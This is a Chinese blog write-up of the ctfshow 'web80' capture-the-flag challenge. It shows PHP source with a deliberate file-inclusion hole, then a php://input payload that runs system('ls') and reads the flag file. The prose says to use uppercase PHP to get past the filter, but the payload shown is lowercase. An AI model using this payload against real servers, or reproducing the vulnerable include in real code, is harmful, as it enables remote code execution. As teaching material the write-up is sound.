ctfshow-web80-文件包含-input伪协议

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这题多过滤掉了data,所以不能使用data://伪协议了,可以使用php://input伪协议,然后在POST请求体中传入要执行的恶意代码,php可以使用大写PHP绕过,测试发现浏览器的HackBar没用,可以使用bp抓包发送请求

1
2
3
?file=php://input

<?php system('ls'); ?>

image-20250519202542810

1
2
3
?file=php://input

<?php system('cat fl0g.php'); ?>

image-20250519202605778


ctfshow-web80-文件包含-input伪协议
https://yschen20.github.io/2025/05/25/ctfshow-web80-文件包含-input伪协议/
作者
Suzen
发布于
2025年5月25日
更新于
2025年5月29日
许可协议